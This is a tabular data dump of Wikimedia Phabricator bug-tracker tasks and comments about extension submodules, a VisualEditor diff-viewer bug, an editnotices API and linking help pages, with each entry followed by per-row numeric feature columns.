https://gerrit.wikimedia.org/r/146430",,,1405544052,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-34q3bn6uqje2mlmgmqhq,task_subcomment,,True,c1,3,False,,,54,,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,10.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.551724137931035,0.8620689655172413,"Change 146430 abandoned by Legoktm:
Support having multiple API endpoints

Reason:
We're going to just point everything to labs instead.

GERRIT_URL"
210340,"Include git submodules, by default, or optionally","I've set up an API endpoint for VisualEditor on labs: http://tools.wmflabs.org/extdist/?version=REL1_23&ext=VisualEditor

I don't see any submodules in GuidedTour?",,,1405427591,,PHID-USER-v7vgzvvcw7v2umf737ri,True,,,PHID-TASK-34q3bn6uqje2mlmgmqhq,task_subcomment,,True,c1,3,False,,,54,,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,9.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,17.0,13.0,4.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.652173913043478,0.9565217391304348,"I've set up an API endpoint for VisualEditor on labs: URL

I don't see any submodules in GuidedTour?"
210338,"Include git submodules, by default, or optionally","Change 146430 had a related patch set uploaded by Legoktm:
Support having multiple API endpoints

https://gerrit.wikimedia.org/r/146430",,,1405427302,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-34q3bn6uqje2mlmgmqhq,task_subcomment,,True,c1,3,False,,,54,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,1.0,"Change 146430 had a related patch set uploaded by Legoktm:
Support having multiple API endpoints

GERRIT_URL"
210333,"Include git submodules, by default, or optionally","Yeah, we need this for VE too.

Github doesn't support submodules, but it's easy to do this on labs (I already wrote a script to do it). Just requires a few changes to the extension...",,,1405423855,,PHID-USER-v7vgzvvcw7v2umf737ri,True,,,PHID-TASK-34q3bn6uqje2mlmgmqhq,task_subcomment,,True,c1,3,False,,,54,,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,9.0,11.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,11.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,9.0,11.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.3555555555555556,0.8222222222222222,"Yeah, we need this for VE too.

Github doesn't support submodules, but it's easy to do this on labs (I already wrote a script to do it). Just requires a few changes to the extension..."
45753,VisualEditor: Diff viewer in weird state after Parsoid error,"Steps to reproduce:
1. Open VE on a page
2. Make changes
3. Stop Parsoid
4. Click ""Review and save""
5. Get an error dialog about Parsoid being down. Click ""Cancel"".

The box that's supposed to show the diff is left empty, but the ""Something's wrong"" and ""Looks good to me"" buttons are still there. I can dismiss the box with the up arrow to go back to editing, but we should be doing this (or at least *something*) automatically on failure.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1357693020,1392756925.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-5medlyzpqf3k4z7hksir,task_description,invalid,True,c1,1,False,False,False,-25,,0.0,1.5,0.0,0.5,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,3.5,6.5,1.5,2.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,10.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,4.0,2.5,10.0,0.0,3.5,5.5,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.5,6.5,2.0,0.0,5.0,0.0,2.5,0.0,0.5,1.0,1.0,1.0,0.0,1.0,1.0,3.3030303030303028,0.7348484848484849,"Steps to reproduce:
1. Open VE on a page
2. Make changes
3. Stop Parsoid
4. Click ""Review and save""
5. Get an error dialog about Parsoid being down. Click ""Cancel"".

The box that's supposed to show the diff is left empty, but the ""Something's wrong"" and ""Looks good to me"" buttons are still there. I can dismiss the box with the up arrow to go back to editing, but we should be doing this (or at least *something*) automatically on failure.

--------------------------
**Version**: unspecified
**Severity**: minor"
219418,VisualEditor: Diff viewer in weird state after Parsoid error,"Yeah, we completely switched around the fetching logic here so that this is now INVALID; sorry.",,,1392756925,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5medlyzpqf3k4z7hksir,task_subcomment,,True,c1,3,True,,,33,,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,16.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,16.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.2105263157894735,1.0,"Yeah, we completely switched around the fetching logic here so that this is now INVALID; sorry."
219413,VisualEditor: Diff viewer in weird state after Parsoid error,"Everything about this seems different now... ""Review and save"" I guess has become ""Save page"", and you only get an error about Parsoid being down when you then click ""Review your changes"". This dialog offers only an ""OK"" button which simply stops the loading of the review dialog. I don't see an empty diff or ""Something's wrong""/""Looks good to me"" buttons.

Is this bug still valid?",,,1392560898,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-5medlyzpqf3k4z7hksir,task_subcomment,,True,c1,3,True,,,32,,0.0,2.0,0.0,0.0,1.0,6.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,4.0,0.0,9.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,11.0,2.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,2.0,13.0,1.0,4.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,6.0,4.0,1.0,12.0,0.0,7.0,0.0,2.0,4.0,1.0,0.0,0.0,0.0,0.0,3.7529411764705882,0.7411764705882353,"Everything about this seems different now... ""Review and save"" I guess has become ""Save page"", and you only get an error about Parsoid being down when you then click ""Review your changes"". This dialog offers only an ""OK"" button which simply stops the loading of the review dialog. I don't see an empty diff or ""Something's wrong""/""Looks good to me"" buttons.

Is this bug still valid?"
45683,Create API to expose editnotices,"Editnotices for pages are not currently exposed in the API, but are expected to be used by any interface of a Wikipedia  editor. This implies that the information should be easily retrievable.

It should be noted that the VisualEditor api has it's own private implementation of listing all edit notices that should be presented to users: https://en.wikipedia.org/w/api.php?action=visualeditor&format=json&paction=metadata&page=List_of_emoticons&uselang=en&oldid=846338965

This should probably be moved to core as well as be exposed via restbase or something similar.

--------------------------
**Version**: 1.21.x
**Severity**: enhancement",Medium,50.0,1357492860,1684603866.0,PHID-USER-a6jwrurphpx6yl4coupk,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-chtpmgo2h5aq6i6j4niv,task_description,resolved,True,c1,1,False,False,False,-26,,1.5,1.0,0.0,5.0,0.5,2.5,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,4.5,8.5,1.0,1.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.5,0.0,0.0,1.0,1.0,10.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,1.0,0.0,2.0,5.5,7.0,1.0,1.5,5.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,1.0,8.5,1.5,0.0,0.0,0.0,1.0,0.0,1.0,0.5,0.0,1.0,0.0,0.0,0.0,4.3347058823529405,0.7615686274509804,"Editnotices for pages are not currently exposed in the API, but are expected to be used by any interface of a Wikipedia  editor. This implies that the information should be easily retrievable.

It should be noted that the VisualEditor api has it's own private implementation of listing all edit notices that should be presented to users: URL

This should probably be moved to core as well as be exposed via restbase or something similar.

--------------------------
**Version**: 1.21.x
**Severity**: enhancement"
2127288,Create API to expose editnotices,"Change 921405 **merged** by jenkins-bot:
%%%[mediawiki/core@master] Add 'preloadcontent' and 'editintro' in API prop=info%%%
https://gerrit.wikimedia.org/r/921405",,,1684594877,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chtpmgo2h5aq6i6j4niv,task_subcomment,,True,c1,3,False,,,515,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,3.0,0.0,0.0,8.0,8.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.4444444444444446,0.75,"Change 921405 **merged** by jenkins-bot:
%%%[mediawiki/core@master] Add 'preloadcontent' and 'editintro' in API prop=info%%%
GERRIT_URL"
2126816,Create API to expose editnotices,"Change 921405 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
%%%[mediawiki/core@master] [WIP] Fix 'preload' and add 'editintro' in API prop=info%%%
https://gerrit.wikimedia.org/r/921405",,,1684519036,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chtpmgo2h5aq6i6j4niv,task_subcomment,,True,c1,3,False,,,515,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,7.0,17.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,3.8043478260869565,0.782608695652174,"Change 921405 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
%%%[mediawiki/core@master] [WIP] Fix 'preload' and add 'editintro' in API prop=info%%%
GERRIT_URL"
215236,Create API to expose editnotices,"Change 74963 abandoned by Umherirrender:
Api: Add editnotices to prop=info

https://gerrit.wikimedia.org/r/74963",,,1378323091,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chtpmgo2h5aq6i6j4niv,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.588235294117647,0.9411764705882353,"Change 74963 abandoned by Umherirrender:
Api: Add editnotices to prop=info

GERRIT_URL"
215233,Create API to expose editnotices,"Change 74963 had a related patch set uploaded by Umherirrender:
Api: Add editnotices to prop=info

https://gerrit.wikimedia.org/r/74963",,,1374408099,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chtpmgo2h5aq6i6j4niv,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.363636363636363,0.9545454545454546,"Change 74963 had a related patch set uploaded by Umherirrender:
Api: Add editnotices to prop=info

GERRIT_URL"
215229,Create API to expose editnotices,"I wonder whether it would be better for prop=info to return the names of the messages containing the notice instead of parsing them itself. The client could parse these using action=parse if it wants HTML.

The main drawback to parsing them in prop=info is that parsing is expensive; prop=revisions, for example, will error out if asked to parse more than one revision, and if we'd add editnotices with parsed output to prop=info we'd have to do something similar there.


On a side note, I still don't understand what happened with r48276. Per-page edit noticed were half removed, but the removal wasn't finished even after this was pointed out, and then they were added back 2.5 years later.",,,1359054060,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-chtpmgo2h5aq6i6j4niv,task_subcomment,,True,c1,1,False,,,-23,,0.0,0.5,0.0,2.5,1.5,2.5,1.5,0.0,0.0,1.5,1.0,2.5,0.0,0.0,0.0,2.5,0.5,6.5,13.0,0.5,1.5,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.5,2.5,0.5,2.5,2.5,1.5,1.5,0.0,0.0,0.0,1.5,0.5,0.0,1.5,0.5,1.5,0.0,1.0,0.0,0.0,0.0,15.5,1.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.5,0.0,0.5,2.0,0.0,0.5,0.0,0.0,0.5,4.0,4.0,4.0,2.5,2.0,5.0,0.0,0.0,0.0,0.0,5.5,0.0,1.5,0.0,5.5,13.0,0.5,0.0,0.0,0.0,5.5,0.0,0.5,0.5,1.5,2.5,1.0,0.0,0.0,3.938263606071825,0.7487041836356905,"I wonder whether it would be better for prop=info to return the names of the messages containing the notice instead of parsing them itself. The client could parse these using action=parse if it wants HTML.

The main drawback to parsing them in prop=info is that parsing is expensive; prop=revisions, for example, will error out if asked to parse more than one revision, and if we'd add editnotices with parsed output to prop=info we'd have to do something similar there.


On a side note, I still don't understand what happened with r48276. Per-page edit noticed were half removed, but the removal wasn't finished even after this was pointed out, and then they were added back 2.5 years later."
45591,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","The Translate extension has very nice info icons which bring users from the interface/feature they're seeing to the relevant (translatable) help page on mediawiki.org (all components are documented). See for instance [[ https://meta.wikimedia.org/wiki/Special:PageTranslation | m:Special:PageTranslation ]].

This is a huge task, but it should be done for core as well.

The problem is of course that there's no real(istic) plan to get such help pages done in the next few decades, as they continue to live either on Meta for copyright reasons or even on local wikis for the same + [[ https://meta.wikimedia.org/wiki/Not_my_wiki | m:Not my wiki]] syndrome. This part of the problem should be discussed on wiki, probably the talk of the project.

--------------------------
**URL**: https://www.mediawiki.org/wiki/Project:PD_help
**See Also**:
{T19557}
{T14306}
{T46286}",Medium,50.0,1357145040,1433346304.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_description,resolved,True,c1,1,True,True,False,-26,,1.0,0.0,0.5,1.5,0.5,5.5,1.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.5,0.5,0.0,4.0,9.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,19.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,5.5,2.5,10.5,0.5,2.0,8.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,2.0,9.5,2.5,0.0,0.0,0.0,2.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,1.5,3.5689655172413794,0.7241379310344828,"The Translate extension has very nice info icons which bring users from the interface/feature they're seeing to the relevant (translatable) help page on mediawiki.org (all components are documented). See for instance [[ URL | m:Special:PageTranslation ]].

This is a huge task, but it should be done for core as well.

The problem is of course that there's no real(istic) plan to get such help pages done in the next few decades, as they continue to live either on Meta for copyright reasons or even on local wikis for the same + [[ URL | m:Not my wiki]] syndrome. This part of the problem should be discussed on wiki, probably the talk of the project.

--------------------------
**URL**: URL
**See Also**:
{T19557}
{T14306}
{T46286}"
1001923,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","I am afraid the lack of a doc in ##mw:## is the major problem here.

Code fragments are distributed over many PHP units, and not really accessible to Wiki maintainers.",,,1516972788,,PHID-USER-3imz37uve2wfuuub5eq6,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,238,,3.0,0.0,0.0,3.0,3.0,13.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,10.0,0.0,3.0,8.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5641025641025643,0.8717948717948718,"I am afraid the lack of a doc in ##mw:## is the major problem here.

Code fragments are distributed over many PHP units, and not really accessible to Wiki maintainers."
1001737,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","You can still use MediaWiki:Whatlinkshere-helppage to override the default help link on Special:WhatLinksHere (and similar for all other special pages). You can also use such messages for override/add help links for namespaces (e.g. MediaWiki:Namespace-0-helppage) and page actions (e.g. MediaWiki:History-helppage).

I don't know if this is properly documented anywhere, I just looked up how it works in source code.

The default value is unfortunately not shown on these pages, due to the way we use these messages. Perhaps this could be changed to make these messages behave more normally, but as a consequence, users with non-default interface language would not see the local override (currently they do).

Almost all of the built-in help links go to MediaWiki.org. There are only three exceptions: the help links for history action, Special:Import and Special:RecentChanges all go to MetaWiki. Presumably the documentation pages for these on MediaWiki.org are inferior.",,,1516912596,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,238,,1.5,0.0,0.0,1.5,1.5,4.5,0.5,0.0,0.0,0.5,2.5,0.5,0.0,1.0,0.5,1.5,0.0,9.5,10.5,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.5,0.5,0.0,5.0,1.5,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.0,0.0,0.5,0.0,0.0,0.0,17.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,0.0,4.0,2.5,12.0,1.0,2.0,8.5,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,3.5,10.5,5.5,0.0,0.0,0.0,3.5,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,4.304123711340206,0.7010309278350515,"You can still use MediaWiki:Whatlinkshere-helppage to override the default help link on Special:WhatLinksHere (and similar for all other special pages). You can also use such messages for override/add help links for namespaces (e.g. MediaWiki:Namespace-0-helppage) and page actions (e.g. MediaWiki:History-helppage).

I don't know if this is properly documented anywhere, I just looked up how it works in source code.

The default value is unfortunately not shown on these pages, due to the way we use these messages. Perhaps this could be changed to make these messages behave more normally, but as a consequence, users with non-default interface language would not see the local override (currently they do).

Almost all of the built-in help links go to MediaWiki.org. There are only three exceptions: the help links for history action, Special:Import and Special:RecentChanges all go to MetaWiki. Presumably the documentation pages for these on MediaWiki.org are inferior."
1000034,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Tried to figure out why some special page has a link to a local help page, and some has help pages at Meta and some at Mediawiki, but the previous -helppage system messages does not make sense anymore? Where is the doc for this?

A local help page for WhatLinksHere has no -helppage link, so tried to move the help page to check if there was some checks on page existence, but no change, the local page is still in use somehow.",,,1516536097,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,237,,4.0,0.0,0.0,0.0,1.0,5.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,13.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,7.0,3.0,4.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,13.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,3.8131868131868134,0.6153846153846154,"Tried to figure out why some special page has a link to a local help page, and some has help pages at Meta and some at Mediawiki, but the previous -helppage system messages does not make sense anymore? Where is the doc for this?

A local help page for WhatLinksHere has no -helppage link, so tried to move the help page to check if there was some checks on page existence, but no change, the local page is still in use somehow."
484755,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Imho it is understandable, when there is a link to a help page for an action or feature that a specific wiki does not offer, or at least not to the general viewer, that they want the help link not shown. Thus we should possibly make help pages very modular and independent of one another and avoid cross-linking them for the things that are based on different user rights that can be assigned individually to users or groups. Also, help links should only appear on pages where the individual feature is available.

I do not know whether that is good and sufficient. At least, it contradicts the idea of offering the user a good and comprehensive Overview.

Last not least, we can have wikis copy the common help pages wholesale or individually as need be, and use their local copies which they can edit to their needs.",,,1435734085,,PHID-USER-pkzunphfdvlecngun3iz,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,104,,0.0,0.0,0.5,1.0,2.5,12.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.5,1.5,0.0,7.5,8.5,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,5.0,1.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,2.5,0.5,1.0,0.5,14.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,6.5,4.0,4.0,2.5,5.0,8.5,0.0,0.0,0.0,0.0,7.5,0.0,0.5,0.0,5.5,8.5,0.5,0.0,0.0,0.0,5.5,0.0,2.5,2.5,0.5,1.0,0.0,1.5,0.0,4.109756097560975,0.7439024390243902,"Imho it is understandable, when there is a link to a help page for an action or feature that a specific wiki does not offer, or at least not to the general viewer, that they want the help link not shown. Thus we should possibly make help pages very modular and independent of one another and avoid cross-linking them for the things that are based on different user rights that can be assigned individually to users or groups. Also, help links should only appear on pages where the individual feature is available.

I do not know whether that is good and sufficient. At least, it contradicts the idea of offering the user a good and comprehensive Overview.

Last not least, we can have wikis copy the common help pages wholesale or individually as need be, and use their local copies which they can edit to their needs."
483773,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",">>! In T45591#1411185, @Nikerabbit wrote:
> It seems a bit blanket statement to say all of those help link are unhelpful. I would argue they are more helpful than harmful and thus there is no need to be able do disable them altogether.

Maybe, maybe not. That's a third party wiki view. I can see it both ways; especially for a wiki that's not open to the public for editing, but is for public viewing. YMMV. Literally just passing on what I was told.",,,1435610712,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,104,,0.0,0.0,0.0,2.0,4.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,4.0,15.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,3.4,0.7454545454545455,"QUOTE
QUOTE

Maybe, maybe not. That's a third party wiki view. I can see it both ways; especially for a wiki that's not open to the public for editing, but is for public viewing. YMMV. Literally just passing on what I was told."
